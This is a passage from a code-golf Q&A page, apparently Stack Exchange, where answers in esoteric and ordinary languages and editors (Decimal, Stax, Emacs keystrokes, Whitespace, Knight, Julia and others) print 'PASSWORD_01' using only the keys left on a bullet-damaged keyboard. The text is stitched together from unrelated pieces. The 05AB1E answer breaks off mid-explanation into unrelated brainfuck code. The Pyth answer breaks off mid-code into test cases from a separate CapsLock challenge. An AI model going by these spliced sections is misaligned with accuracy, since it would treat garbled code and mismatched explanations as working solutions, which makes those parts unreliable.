\"magic number\" and still get the same result. So I found the smallest bit-shifts I could use to get the necessary results. Even numbers could sometimes use `<<`, odds had to use `>>`.\n### Commented code (`\\` starts a comment):\n```\n\\ 49\n12544 1 3 << >>\n\\ 48\n24 1 <<\n\\ 95\n1521 4 >>\n\\ 68\n34 1 <<\n\\ 82\n41 1 <<\n\\ 79\n2531 5 >>\n\\ 87\n351 2 >>\n\\ 83 (x2)\n332 2 >> 332 2 >>\n\\ 65\n131 1 >>\n\\ 80\n321 2 >>\n```\n*gForth does not have the words `<<` or `>>`. Instead it has `lshift` and `rshift`, which I could not use*.\n[Answer]\n# [Decimal](//github.com/aaronryank/Decimal), ~~190~~ 180 + 10 = 190 bytes\n```\n12055D12025D41D301212055D12010D41D301212055D12025D41D12003D41D30130112004D41D301212055D12024D41D30112003D41D301212055D12013D41D301212055D12040D41D301212045D12003D41D30112001D41D301\n```\n[Try it online!](https://tio.run/##S0lNzsxNzPn/39DIwNTUBUgambqYGLoYGxgawYUMDTCEIKqADANjqBwQgbgmmEphQsiqkQzHFDJBts/EFMUaENsQyv7/HwA) Decimal is an esoteric language that uses nothing but decimals and the letter `D`. However, I needed the +10 penalty because almost every command uses `0`.\nLuckily, all of the commands needed to print `PASSWORD_01` don't require any numbers over `6`:\n* `12...D` - push a character\n* `2` - pop a value\n* `41D` - pop top two stack values, multiply and push result\n* `301` - print DSI (default stack index)\nBy repeatedly pushing character values that only use the digits 1 through 5, then adding them, I can make the character values for each letter in `PASSWORD_01`.\nUngolfed and commented:\n```\n12055D ; push char 55 to stack\n12025D ; push char 25 to stack\n41D ; pop [DSI] and [DSI-1], add and push result\n3012 ; print from stack to output, pop\n12055D ; push char 55 to stack\n12010D ; push char 10 to stack\n41D ; pop top two stack values, add and push result\n3012 ; print from stack to output, pop\n12055D ; push char 55 to stack\n12025D ; push char 25 to stack\n41D ; pop x2, add, push\n12003D ; push char 3 to stack\n41D ; pop x2, add, push\n301301 ; print, print\n12004D ; push char 4 to stack\n41D ; pop x2, add, push\n3012 ; print, pop\n12055D ; push char 55 to stack\n12024D ; push char 24 to stack\n41D ; pop x2, add, push\n301 ; print\n12003D ; push char 4 to stack\n41D ; pop x2, add, push\n3012 ; print, pop\n12055D ; push char 55 to stack\n12013D ; push char 13 to stack\n41D ; pop x2, add, push\n3012 ; print, pop\n12055D ; push char 55 to stack\n12040D ; push char 40 to stack\n41D ; pop x2, add, push\n3012 ; print, pop\n12045D ; push char 45 to stack\n12003D ; push char 3 to stack\n41D ; pop x2, add, push\n301 ; print\n12001D ; push char 1 to stack\n41D ; pop x2, add, push\n301 ; print\n```\n[Answer]\n# [Stax](https://github.com/tomtheisen/stax), 91+10 bytes\n```\n\"W\"EEEd$\"$\"1 !$Re]\"$\"\"ASSW\"R\"$\"\"a\"EEE$\"$\"a$Re]R\"$\"\"RD\"R\"$\"\"a\"EEEd$\"$\"\"5\"Re]R\"$\"1 !$R\"$\"\"1\"R\n```\n[Try it online!](https://staxlang.xyz/#c=%22W%22EEEd%24%22%24%221+%21%24Re%5D%22%24%22%22ASSW%22R%22%24%22%22a%22EEE%24%22%24%22a%24Re%5DR%22%24%22%22RD%22R%22%24%22%22a%22EEEd%24%22%24%22%225%22Re%5DR%22%24%221+%21%24R%22%24%22%221%22R&i=&a=1)\nUses `]` to make singletons.\n## Explanation\nLet's see how `\"P\"` is generated and how the `\"ASSW\"` is appended without using the usual `+`.\n```\n\"W\" Push \"W\", or [87]\n E Convert to a scalar, 87\n E Convert to an array of digits, [8,7]\n E Push 8 on the stack, then push 7.\n d Pop the 7 and discard it.\n Start making components of regex substitution\n $ Pop 8, push \"8\"\n \"$\" Push \"$\"\n 1 ! Push 0. The space is necessary because normally one doesn't do 1! to obtain 0\n $ Pop 0, push \"0\"\n R Do regex substitution 's/$/0/g' on the string \"8\"\n Basically doing \"8\"+\"0\" without using +\n e Pop \"80\", push 80\n ] Singleton. Pop 80, push [80], or \"P\"\n \"$\"\"ASSW\"R Use the same trick again to append \"ASSW\" to \"P\"\n```\nThe rest are just repeating the same trick.\n`\"a\"EEE$\"$\"a$Re]R` swaps the digits of `\"a\"` or `[97]` to make `[79]` or `\"O\"` and appends it to the string.\n`\"$\"\"RD\"R appends \"RD\"`.\n`\"$\"\"a\"EEEd$\"$\"\"5\"Re]R` uses `\"a\"` again to obtain `\"9\"` and discards the `\"7\"`, then combines the `\"9\"` with a literal `\"5\"` to form `[95]` or `\"_\"`, and appends it to the string.\n`\"$\"1 !$R` obtains a zero by logical not of 1 and appends it to the string.\n`\"$\"\"1\"R` appends the final `\"1\"` and we are done.\nImplicit output.\n[Answer]\n## Emacs (running in a terminal), 26 bytes (possibly 24 bytes)\nThe program itself (the commas delimit the boundaries between bytes in the on-the-wire format that Emacs uses to accept its input):\n> \n> `W`, `S`, `Ctrl`-`3`, `$`, `D`, `A`, `Ctrl`-`T`, `S`, `R`, `W`, `D`, `Ctrl`-`3`, `$`, `5`, `Ctrl`-`Q`, `5`, `f`, `Ctrl`-`X`, `r`, `Ctrl`-`Space`, `1`, `Ctrl`-`X`, `r`, `g`, `1`, `Ctrl`-`T`\n> \n> \n> \nEncoding of this as raw bytes, to prove byte count:\n```\n00000000: 5753 1b24 4441 1453 5257 441b 2435 1135 WS.$DA.SRWD.$5.5\n00000010: 6618 7200 3118 7267 3114 f.r.1.rg1.\n```\n(Note: some of the details may vary based on how Emacs is configured; this answer requires **quoted-char-radix** to be set to 16, and for Emacs to use the spellcheck dictionary that's default on my British English system. Both of these seem like reasonable configuration settings, but it's possible that your copy of Emacs may be configured differently. A different dictionary would likely still give a 26-byte program, but slightly different misspellings might need to be used so that the corrections we wanted can be accepted by non-bullet-ridden keys.)\n## Note about scoring\nIn addition to the keys specified in the question, I originally thought this answer required either `Esc` or `Alt` to work. (`Esc` is on the half of the keyboard that's still intact, so it morally feels like it should be allowed, but it isn't explicitly permitted.) However, user2845840's answer points out that (with the usual encoding of terminal control codes) `Esc` can alternatively be typed as `Ctrl`-`3`, and that *is* explicitly permitted by the question. (An aside: while testing this, I learned some other interesting ways to type control codes, with `Ctrl`-`2` typing NUL, and `Ctrl`-`4‚Ķ7` typing character codes 28‚Ķ31 respectively. Note that the default configuration of many terminals is to interpret a character code 28 coming from user input as a request to crash the currently running program, so be careful testing this.)\n`Alt` is *also* on the intact half of the keyboard but isn't mentioned in the question. Although `Alt` and `Esc` have different encodings in some terminals, they are encoded the same way in other terminals, and (presumably to work around these compatibility issues) Emacs interprets the two keys (and their encodings) as entirely equivalent to each other. If we could use `Alt`, though, it would save two bytes (because it has a shorter encoding than `Esc` does).\n## Explanation\nI'm not sure whether it should have any influence on the editor wars, but Emacs seems to beat vim at least in the case of this question. Emacs is pretty suited to editor golf measured in bytes, because it relies heavily on chords which take up multiple keypresses but only a single byte (thus an Emacs program is often slower to type than the equivalent Vim program, but shorter on disk). Additionally, most of the most important Emacs commands are in the bottom-left corner of the keyboard, to be close to `Ctrl`, very helpful with a question like this one.\n\"You can assume you have the interpreter shell / source editor opened before the bullets came in. Sadly you have not written anything in it before the keyboard was hit.\", so I'm assuming that we have an empty file open in Emacs and need to type the password into it. (We'd need to save the file afterwards, and probably exit Emacs, but the bytes for that aren't being counted in other people's answers so I'm not counting them here either. It's totally doable using the left hand side of the keyboard, though, `Ctrl`-`X`, `Ctrl`-`S`, `Ctrl`-`X`, `Ctrl`-`C`.)\nTaking it a command (or block of similar commands) at a time:\n* `W`, `S`: Enter `WS` into the document.\n* `Ctrl`-`3`, `$`: Invoke the spellchecker. `WS` isn't a real word, but it finds lots of similar two-letter words. (The usual way to invoke the spellchecker is `Alt`-`$`; here, we're using `Ctrl`-`3` as a stand-in for `Esc`, which in turn is a stand-in for `Alt`.)\n* `D`: Using the spellchecker, correct `WS` to `PS`. (When the spellchecker is invoked using `Alt`-`$`, as happened here, it only checks one word, so it deactivates after doing this.)\n* `A`: insert `A`, giving `PSA`.\n* `Ctrl`-`T`: Swap the previous two characters, giving `PAS`.\n* `S`, `R`, `W`, `D`: Type `SRWD`, giving `PASSRWD`.\n* `Ctrl`-`3`, `$`, `5`: We invoke the spellchecker again, because we want to correct our misspelled `PASSRWD` into `PASSWORD`. Note that we can't have it guess the word we want on our first try, like it would with `PASSWRD`, because the key to accept the closest real word is `0` which we can't press. As a result, the slightly more extreme misspelling `PASSRWD` is used to push the word we want into position 5, where we can accept it.\n* `Ctrl`-`Q`, `5`, `f`: Insert the character with character code U+5f, i.e. `_`. The document now reads `PASSWORD_` (or will when we start typing the next command; before then, the underscore doesn't appear in case we type another hex digit).\n* `Ctrl`-`X`, `r`, `Ctrl`-`Space`, `1`: Store the current cursor position (relative to the start of the file) in register 1. For some bizarre reason, this is 1-indexed, so (having written 9 characters so far) the cursor is at position `10`.\n* `Ctrl`-`X`, `r`, `g`, `1`: Copy the content of register 1 into the document. It now reads `PASSWORD_10`.\n* `Ctrl`-`T`: Swap the two characters before the cursor. We now have `PASSWORD_01`, like the question asks for.\nIf we're allowed to use `Alt`, we can probably encode the \"invoke spellchecker\" command as the single byte `a4` rather than spelling it out as `1b` `24`; it appears twice, so that leads to two bytes of savings. (Most modern terminals use `1b` `24` as the encoding for `Alt`-`$` to avoid clashes with UTF-8, but the `a4` encoding is also encountered from time to time, sometimes available as a configuration option.)\nPossible byte savings probably involve golfier misspellings to correct. `PSASWRD` would be a byte shorter to type, but unfortunately, the spellchecker doesn't seem capable of gleaning `PASSWORD` out of that, so `PASSRWD` is the best approach I've found so far. The register-based approach to gaining `10` is also ridiculously unwieldy, but there aren't many ways of creating numbers from nowhere in Emacs, and `0` is a painful character to get hold of otherwise. (At least there were a couple of amazingly useful coincidences: the cursor just happening to end up in position `10`, which contains a `0`, right when needed; and the fact that Emacs accepts the redundant `g` register operation to insert the contents of a register into the document, in addition to the more intuitive `i`.)\n[Answer]\n# [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), score: 111 (101 bytes + 10 for `Enter`)\n```\n[S S T T T T T T N\n_Push_-31_1][S S T T S S S S S N\n_Push_-32_0][S S S T T T T N\n_Push_15__][S S T T T S S N\n_Push_-12_D][S S S T S N\n_Push_2_R][S S T T N\n_Push_-1_O][S S S T T T N\n_Push_7_W][S S S T T N\n_Push_3_S][S N\nS _Duplicate_3_S][S S T T T T T N\n_Push_-15_A][S S S N\n_Push_0_P][N\nS S N\n_Create_Label_LOOP][S S S T S T S S S S N\n_Push_80][T S S S _Add][T N\nS S _Output_as_character][N\nS N\nN\n_Jump_to_Label_LOOP]\n```\nLetters `S` (space), `T` (tab), and `N` (new-line) added as highlighting only. \n`[..._some_action]` added as explanation only.\n[Try it online](https://tio.run/##K8/ILEktLkhMTv3/X0GBEwy4QAwFEACyFOAinFC@ApgHlYJQXHCVYAEuLphSsDFcIJITLMbF9f8/AA) (with raw spaces, tabs and new-lines only).\n**Explanation in pseudo-code:**\nThis solution is shorter than [the existing Whitespace answer](https://codegolf.stackexchange.com/a/31564/52210) (*@nÃ¥ÃãÃñhÃ∑ÃÉÕâaÃ∑ÃøÃ≠hÃ∏ÃÖðtõÕÑîdÃ∑ÕÄÃ∞hÃ∑ÃÇÃ≥* asked me to post it as a separated answer when I suggested it as golf) by utilizing [this Whitespace tip of mine](https://codegolf.stackexchange.com/questions/48442/tips-for-golfing-in-whitespace/158232#158232).\n```\nPush the code-points for the characters of \"10_DROWSSAP\" minus constant 80 to the stack\nStart LOOP:\n Add 80 to the current code-point\n Pop and output it as character\n Go to the next iteration of LOOP\n```\nThe constant `80` has been generated with [this Java program](https://tio.run/##fVLva9swEP3ev@K4TxJKTQorY3FESdk@GJZt1Nk66EqRXTVR58iedA6Ekb/dk2s7P7bRLxK69@7p7t49q406f3782TR5obyHuTL29xlAVWeFycGTonBtSvMI6wCxlJyxy7t7ULylAXQBcNrXBYEEdTe@j18QYwn8WhWF9i2QWNJL7aL57PvDt9nHrx9GkMi3l/GxykC/GdQQO/ypdKzVMzKJzfTichwbIfoKDjVIxBGNKjlkdXnZljRkk67CaKnpOgQ84/t0AJJBfFHerkxAKpXra2OV23a6LDs3PN5znWQU6V@1Kjyr@BWmn37YFCfEhTuQKknDY9ff5om5qNB2SSvGYbrv9aiMf9o/Ujya5EHmACchbk6/7M5060mvo7KmqArdUGEZdukSxSAqMA6jRZEIhAmgeG0aCe@//VuZnZb/wtqdhaNfot6l17Rbi20/kI1ywRdMUxTMTsdXuMAJpshPFyKfDHtF5YlUi/K5olWkMs8s5/9znoTMp2/eBROD9qLfmm5uTlPtbGBg8Be7XnZN03yZpent55v3D@OLPw), which I've created and used for some previous Whitespace answers of mine.\n[Answer]\n# Befunge-98, 43 +10 = 53 bytes\n```\n\"1qA¬∑DR¬∑WSSA¬∑g\"%,$,,,,$\"s\"%,,,$\"c\"%,%,,q\n```\n[Try it online!](http://befunge-98.tryitonline.net/#code=IjFxQcK3RFLCt1dTU0HCt2ciJSwkLCwsLCQicyIlLCwsJCJjIiUsJSwscQ&input=)\nThe 10 byte penalty is for the use of the `,` key (not sure why this couldn't be accomplished with `Shift`+`<`, but that seems to be the rule). And although the source is technically 40 characters, the three `¬∑` characters contribute an additional three bytes because of their UTF-8 encoding.\n[Answer]\n# [05AB1E](https://github.com/Adriandmen/05AB1E), ~~87~~ 86 bytes\n```\n\".\"A1.$R24.$AT<.$R15>.$A21<.$R5.$.V.VD21s.V.V15>X.V\"ASSW\"15X.V\"RD\"122D.$ do the same trick for \"j\"\nA21<.$R5.$ and for \"u\" \n.V run \"u\" as code to turn \"j\" to \"J\"\n.V run \"J\" as code, to join \".\", \"b\" to \".b\"\nSave that string for later use:\nD duplicate\n21 push 21\ns switch the top two elements [\".b\", 21, \".b\"]\n.V run \".b\" as code, to get \"U\"\n.V run \"U\" as code, to save \".b\" in X\nBuild password string:\n15>X.V push the 16th letter of the alphabet (\"P\")\n\"ASSW\" push \"ASSW\"\n15X.V push \"O\"\n\"RD\" push \"RD\"\n122D++++++++>+++++++>+++++++++>++++++++++>+++++<<<<<-]>.>-----.<+++..>>---.<<----.+++.>+++.>>-----.>--.+.\n```\n[Try BF code online!](https://tio.run/##SypKzMxLK03O/v9fGw6i7WAsOzQamQVl2oCAbqydnp0uCOjZAMX09OzswGwbsBBIxA5MQNXYgQT1/v8HAA \"brainfuck ‚Äì Try It Online\")\n[Answer]\n# [Width](https://github.com/stestoltz/Width), 23 + 10 (`m`) = 33 bytes\n```\nGFmaaAfAfAAFGAiawwafwfG\n```\n[Try it online!](https://tio.run/##K89MKcn4/9/dLTcx0TENCB3d3B0zE8vLE9PK09z//wcA \"Width ‚Äì Try It Online\")\n[Answer]\n# [Knight](https://github.com/knight-lang/knight-lang), ~~63~~ 62 + 10 (`+`) bytes\n```\nE++A+55 24+A34+A+55 25+\"ASSW\"+A+55 24+\"RD\"+A+54 41+A+45 3 1A34\n```\n[Try it online!](https://tio.run/##rVhbc9pGFH6GX7FWxkiLRCMJPNMBBOMkdsZTx07tpHmwaYqFsDUjC0aIpm3s/vX0nLO70i7gtGnLg8Tunuu35wZx5zaOvzxL8zhbz5Lhqpyli@/uRk19J0tvjK24/H2ZbBAVaX5rbJXpvaCZJfM0T1iWsWyR39Kj2nx39v4NC@rl5bsLFtbLnw4vWK9eHp@9ZN/Xy4v3LKiJj08vNdqz96ca6fuzN4eXPzgrzhx4tP4MDnh1dngJSsVRfDct2rwi1mnATsU@GvXqk7OjD3iUwxH68gDfhkPzHMXTOXx5cLKMw8ogeHF@fkoU8BiDV31wRdN98VocAmtl3K/TbJ1wfpVPeLNJZsMNJNP76MI6Oj92vhy57qF7cMDCnnvY7cnvB64Fzn6wqiPr4hUteqwXwLt3wLosAPovHIRYgyZc2XJarBKHs8/NRpqXLB00G7BL6j3Wnq/zGHbQABbDurxfeqtlfhVOos@@5z8OmsDGIkEPbx@IP92lWeKAuUDoCKs9Zl2X1/n1/Lpgnx@vJg7vP7M4KW2kc@ZI51gUMfuZzZkQoXb3YPc6h23XFTugpJFkq0TfeJSKmZOuZultWip2UIMWBl5lpHi3WeAzl7Wlia7LWYfZvg2y0KSUsyIp10UuQviBiSthwyHr8crLdJUtPiWFE4NYpY89PDBlQ0yrmBz7aHPpbrrDlTQKPEA3qrY3jMBMASMguhiQ5LP10sHLYBKjDoMVl2xC37Vt18otW6ANVGBqpZ09f84gn@E7mLCcrkpW3iUgc1qUQCwBbSuE8CZiVNJQVmE6/51V8Ay4uCHNa4wifwK2xMrX1Xq5RCi5un@1owOrRwoAqglEGSroljlEHFQTjDFpqoDhnc3GVFf6cuMYN7Cy9LGiYDirKKFiJHxzMA3Q1GmWLWKn53sBR49w23RCCL3QgH9rVyaQZMUWIJtMvl3WHx69ePnLj3unr841JwwJ4baEPUPE65PLp3i727zC3Nd2ZfnJE5b3TF6T5BFrSrHOEbYBFS4oGouVo2oKRSHEV5nGjE5v1vOrsDeRRgjwW5RzlfbVEnpPOXeAFLzaz7KZpZJ5NIJs9FDIpgCIzEqA6ABCv0E3ZEHXdBI9x/gYM6ss1okFcVHtY5jA/nwK@YoHVr7OMquGAP1E12XtRjA@vlgsMji4MQF40tXaq6/50/52h3QrbzatxDsrF/n/aiNEYrnIMkc31WO@B1X3X5icb5mMzerN4dszD1uWiDNYnlwFvu9PqLPBUq1W6R/Jx5Lha9CsI1TzFhGAlYePkJ7dKFCdD4sONj980TMUry4QHJ@cHrXZHOrVoFFFttSHpTCeLr0syalRalg5sqsIzCDnngJjkxEbAfaR@aKAmkktF/rbkLAYQGFP8bAqBvH9cuMGCKR0UtcFhCmdoJrVp7SM75w2zSHMHEQAIyY/MfYK@9DuM9QiCCIEFAcZKIy8RU5J8XJ@MkKWD6jl1RQ0oJUFtg@a0a4m/HMdZjBnULkVii9AsSm7mOYzh7f83@bwqQnfAiEIFRDdJmUGw5bToqts4QVhl5qlOR@kc8eh68TmG98VaIoHYcq5uOXIH@w0FV5ol9J3JPRRd6JaIPEYKHMRI1k3aytf1O4I@urkZX2CnDrCFc0vQIPBAOEXLRfLJHc0xZ5VWNStwaroXvQuCMco9Hvf077s744YCuZg@gydgqkIItbDkQnIoX3TCnWAahVdDmwyN6KxAxMWKLmEG@SQLoIaJbQjFupjQw1j7cmP4EnyG4xMmOxbfu4Zl07z9B4Wsi3C063oAC2ZiYtG/sruy5lsRxxXhU/2H@tsfX8D8wh2IK5aEP5YqIe4rWqoWC/p95Ozv0JGMxe2mQFOGEZ0vVBIuVWTqgPsLsk0l2KfamCyY@k3oBq6QOG8RgETA65Qgibu04COtVp4etXpIOlETJrXNNo2lFn737VXYI8DK85UqhWa@etypW6/igkxfQmD3MogKpNQLrEiY2hp1yMG2oZ52@KHHFLDjM1ULIXiznEEpWQQF0BUuI1ZHikvQ747VONpqV5yDgzcGiauvqMsDvOhR@9S1gjpV2crOrVox2nZtFcwtevb2YHCZnfegUN7Cwdxr7tQuN/hWptoIl0IMUALcqhCRvY1/G5CokGnQ/IkUNQxNy9aIFoa2f/8q8A83w3M/leZ9ncz/UxoGg6JYZ72Qt3LgYRdoB6xTlChTLQAfQB51gkgxwKdOPxG6iGUR4M2ipCU9PbVjq8gJ6DDkS@xDjlNK@2I8G9uJgQdal1qSP5v1FLMIyPVIjPRxkyPp6GOLLL2xX8fwCwIxswYPWjTY1qCoQxfcKoqHorSgrR7ERQwzeTRfzd59D@YPFIm7@2wOZI2S5PHT5sstO4wGY/HzCAIK4pQ1d69XXbWi8o9FbS6gMq8Vp056MuusjLWOWUUVvwP/4Rfhq8mpuIf2H2d2piQNmmjOmHN428egdVYVM/ASNcw5uAqi4gGJU4ig1vLMORACtet2ITJH8A98ReGPqMY3jG97Um2E3PgQ1KNfxz2uxosr8W0GWnN2dVr1/Z0ncuZ1atyoWvMQpcC6A2hg81qGe6qll1etZCw4u7R5t/0UjQM33gVcTU3Vp1Ub6sheIha3QD7K/UWEf/ikF5E4cpMAO2zZD5dZyV4poaTNIfDdEb/PkzjMimgkcQ2jiu4w9kTv39QGM2n8r@sR/oFej9Nc4fjXxr0IwT/End8UmwO@49f/gI)\nAs noted on [Encode your program with the fewest distinct characters possible](https://codegolf.stackexchange.com/a/226869/94093), Knight needs a minimum of `AE +1` to be fully usable (even if it is more torturous than Brainfuck). The `+` is required to do `ASCII` arithmetic.\nThis program generates the string `O\"PASSWORD_01\"` by assembling codepoints, and `EVAL`s it with `E`.\nXXX: check if `SUBSTITUTE` is beneficial here\n---\n# [Knight](https://github.com/knight-lang/knight-lang), ~~113~~ 110 bytes\n```\nE S S S S S S S\"ASSWRD1\"%21 14F A34%21 15F A%152 52%21 15F A%321A\"q\"4F A%211 132F!1A%211 131F!1A34F!1A%211 132\n```\n[Try it online!](https://tio.run/##rVhtc9pGEP4Mv@JQxkgHIpEEmekAgrETO@OpY6d20nywaYKFsDUjCypE0zZ2/3q6u3cn3QFOmzb2DNLd7etz@wZR5yaKvjxJsihdz@Lhqpgli6e3o7q@kybXxlZU/LGMN4jyJLsxtorkTtDM4nmSxSxNWbrIbuij3Hx7@u4186vlxdtzFlTLn/fPWa9aHp2@YD9Uy/N3zK@Ij04uNNrTdyca6bvT1/sXPzorzhz4aP7lP@fl2f4FKBVH0e00b/GSWKcBOxX7aNSrTk4P3@NRBkfoyz28DYfmOYqnc3i5d9KUw8ogODg7OyEK@BiDV31wRdN9/kocAmtp3G/TdB1zfplNeL1OZsMNxNO78Nw6PDtyvhyyC/3fAiffn7/0rb3AZ37viO13e/T6HF73/OcBex5U627g71u/WkgGm7DbDY4avnr38b3b03aCLxyUWoM6XPFymq9ih7PP9VqSFSwZ1GuwS@a6rDVfZxHsoMEsgnVxt3RXy@wymISfPdd7GNSBjYWCHp4eEH@6TdLYAfeA0BFeusy6Kq6yq/lVzj4/XE4c3n9icVJaS@bMkWCwMGT2E5szIULtNmD3KoPtdlvsgJJanK5ifeNBKmZOspolN0mh2EENWui7pZHi2WK@x9qsJU1stznrMNuzQRaalHCWx8U6z0TI3zNxhWw4ZD1eepms0sWnOHciEKv0sft7pmyIaBWRYx9sLt1NdriShL4L6Ibl9oYRmFlgBEQjA5Jstl46eBlMYtRhsOKSTei7su1KuWULtIEKTC21s2fPGOQ/vIMJy@mqYMVtDDKneQHEEtCWQghvIkIlNWUVpv8/WQWfPhc3pHmNUeRNwJZI@bpaL5cIJVf3r3Z0YPVIAUA1gShDBd0yg4iD6oMxJk0VMLy12ZjqUF9uHOEGVqI@ViAMZxUlVLyEbw6mAZo6TdNF5PQ81@foEW6bTgih5xrwb@zSBJKs2Hxkk8m3y/r9w4MXH39qnLw805wwJATbEhqGiFfHF4/xdrd5hbmv7NLy40cs75m8JskD1pR8nSFsAyp0UDQWK0fVFIpCiK8iiRidXq/nl0FvIo0Q4Dcp50rtqyX0qmLuACl4tZemM0sl82gE2eiikE0BEJmlANExhH6DbgjF0HQSPcf4GDOryNexBXFR7mOYwP58CvmKB1a2TlOrggD9RNdlrUcwPhwsFikcXJsAPOpq5dXX/Gl9u0O6ldebVuKdFYvsu9oIkVgs0tTRTXWZ50LV/Q8mZ1smY7N6vf/m1MWWJeIMlseXvud5E@pssFSrVfJn/KFg@BjUqwjVvEUEYOXiR0Cf3dBXnQ@LDjY/fNBnIB5dIDg6PjlssTnUq0GtjGypD0thNF26aZxRo9SwcmRXEZhBzj0GxiYjNgLsI/NFDjWTWi70tyFhMYDCnuBhWQyiu@XGDRBIyaSqCwhTMkE1q09JEd06LZpbmDm4AEZM/kXYK@x9u89QiyAIEVAcfKAw8iY5JcXLecsIWT6glldR0EBX5Ng@aKa7nPDPVZjBnEHlVig@B8Wm7HyazRze9H6fw19F@AYIQaiA6CYuUhjOnCZdZRMvCLvULMn4IJk7Dl0nNt/oNkdTXAhTzsUth95gp6nwQLuUvkOhj7oT1QKJx0CZixjJullZeVC5I@jLkxfVCXLqCJc0H4EGgwHCL1wulnHmaIpdK7eoW4NV4Z3oXRCOYeD1fqB92d8dMRTMwfQZOgVTEUSsiyMTkEP7phXqANUquhzYZO2Qxg5MWKDkEm6QQ7oIapTQClmgjw0VjJUnP4En8e8wMmGyb/nZMC6d5u8GFrItwpOt6AAtqYmLRv7S7suZbEccl4VP9h/rdH13DfMIdiCuWhB@uaiGuK1qqFgv6PuWs7dCRjMXtpkBThhGdL1QSLlVkaoD7C7xNJNiH2tgsmPpN6AaukDhrEIBEwOuUIIm7tOAjjWbeHrZ6SDpREyaVzTa1pRZe09bK7DHgRVnKtVyzfx1sVK3X8aEmL6EQe3SICqTUC6xImNoadcjBtqaedviix9Sw4zNVCwF4s5xBKVkEBdAVLiNWR4qLwO@O1SjaaEecg702xVMXL2jLA7zoUvPQtYI6VdnKzq1aMdp2bRXMLWq29mBwmZ33oFDawsHca@7ULjb4VqLaEJdCDFAC3KoQob2FXxvQqJBp0PyJFDUMTcvWiBaGNn/7KvAPNsNzN5XmfZ2M/1CaBoOiWGe9gLdy4GEXaAeso5foky0AL0PedbxIcd8nTj4RuohlEeDNgyRlPT21Y6nICegg5EnsQ44TSutkPCvbyYEHWpdakj@b9RSzCMj1UIz0cZMj6ehjiyy9sVvJcAsCMbMGD1o02VagqEMT3CqKh6I0oK0jRAKmGby6P@bPPoOJo@UyY0dNofSZmny@HGThdYdJuPxmBkEQUkRqNrb2GVntSjdU0GrCyjNa1aZg77sKitjnVNGYcl//2/4ZfhqYkr@gd3XqY0JaZM2rBLWPP7mEViNRdUMjHQ1Yw4us4hoUOIkNLi1DEMOpGi3SzZh8ntwT/yEoc8ohndMb3uS7dgc@JBU4x8H/a4GyysxbYZac27rtWt7us7kzOqWudA1ZqELAfSG0MFmtQx2VcsuL1tIUHL3aPMfeikahk@8iqicG8tOqrfVADxErW0f@yv1FhH/4pAeRNGWmQDaZ/F8uk4L8EwNJ0kGh8mMfn2YRkWcQyOJbBxXcIezR77/oDCaT@VvWQ/0DfRummQOx5806EsI/oTueKTYHPYfvvwN \"C (gcc) ‚Äì Try It Online\")\nEven without `+`, we can still do this. `SUBSTITUTE` can allow us to insert strings into other strings, and we can still generate single chars with `A%x y`. But I think `+` is worth it, no?\nGenerates the same string.\nFor the reference, the magic numbers are:\n```\n%21 14 -> 7\n%21 15 -> 6\n%152 52 -> 48 ('0')\n%321A\"q\" -> %321 113 -> 95 ('_') # used to prevent token collision\n%211 132 -> 79 ('O')\n%211 131 -> 80 ('P')\n```\n* 3 bytes: use `!1` instead of `F` to avoid token collisions\n[Answer]\n# Julia 1.5, 38 +10 (`ENTER`) = 48 \"bytes\"\nThe keystrokes not available are, of course, `PO_0`. For Julia, the others are all simple, and simply outputting the string `\"PASSWORD_01\"` should count by the rules. Also required: `ENTER`, as the alternate way to process that in Julia's REPL is Ctrl-J, and J isn't available.\nFortunately, one of the inbuilt commands that you can use `TAB` to autocomplete is `DEPOT_PATH`, which provides access to three of the characters. And shortcuts can handle deleting the undesired letters and positioning the cursor to add the missing ones. To get the 0, the easiest method I've found is to use autocomplete to get `frexp`, and then `exp10`.\n**Inputs**\nType: fr`TAB``Ctrl-A``Ctrl-D``Ctrl-D``Ctrl-E`1`TAB`\nResult: `exp10`\nType: `Ctrl-A`DE`TAB`\nResult: `DEPOT_PATHexp10`\nType: `Ctrl-A`\"`Ctrl-D``Ctrl-D``Ctrl-F`ASSW`Ctrl-F``Ctrl-D`RD`Ctrl-F``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-D``Ctrl-F``Ctrl-T`\"`ENTER`\nResult: `\"PASSWORD_01\"` as output (rather than command) on hitting enter.\n**Explanation**\nAutocomplete with `TAB` will work as long as there is only one known autocomplete option (otherwise, double-tab will bring up a list of possible completions).\n`Ctrl-A` moves the cursor to the start of the line, `Ctrl-D` deletes the next character, `Ctrl-F` advances the cursor forward one space, and `Ctrl-T` switches the positions of the characters before and after the cursor (and moves the cursor forward one place).\n[Answer]\n# [Deadfish~](https://github.com/TryItOnline/deadfish-), 154 + 10 bytes\n```\niiissdcdddddddddddddddciiiiiiiiiiiiiiiiiicciiiicddddddddciiicddddddddddddddciiiiiiiiiiiiiiiiiiiiiiiiiiicdddddddddddddddddddddddddddddddddddddddddddddddcic\n```\n[Try it online!](https://tio.run/##S0lNTEnLLM7Q/f8/MzOzuDglOQUVJGdigGSwWDKyimSCmhC6U0gDyZnJ//8DAA \"Deadfish~ ‚Äì Try It Online\")\nNo `{}` :(\nNeeds `i`, you can't do anything without it...\n[Answer]\n# [Pyth](https://github.com/isaacg1/pyth), 39 + 10 (+) = 49 bytes\n```\nr1++++++C+55 25\"ASSW\"e \"The quick brown fox jumps over the lZY DOG.\"\n\"Compilation finished successfully.\"\n-> \"CompilTION FINISHED SUCCESSFULLY.\"\n\"What happens when the CapsLock key on your keyboard doesn't have a notch in it?\"\n-> \"WhT Hppens when the CPSlOCK KEY ON YOUR KEYBOrd doesn't hVE notch in it?\"\n\"The end of the institution, maintenance, and administration of government, is to secure the existence of the body politic, to protect it, and to furnish the individuals who compose it with the power of enjoying in safety and tranquillity their natural rights, and the blessings of life: and whenever these great objects are not obtained, the people have a right to alter the government, and to take measures necessary for their safety, prosperity and happiness.\"\n-> \"The end of the institution, mINTENnce, ND dministrTION OF GOVERNMENT, IS TO SECURE THE EXISTENCE OF THE BODY POLITIC, TO PROTECT IT, nd to furnish the individuLS WHO COMPOSE IT WITH THE POWER OF ENJOYING IN Sfety ND TRnquillity their nTURl rights, ND THE BLESSINGS OF LIFE: nd whenever these greT OBJECTS re not obtINED, THE PEOPLE Hve RIGHT TO lter the government, ND TO Tke meSURES NECESSry for their sFETY, PROSPERITY nd hPPINESS.\"\n\"aAaaaaAaaaAAaAa\"\n-> \"\" (Without the notch, no one can hear you scream)\n\"CapsLock locks 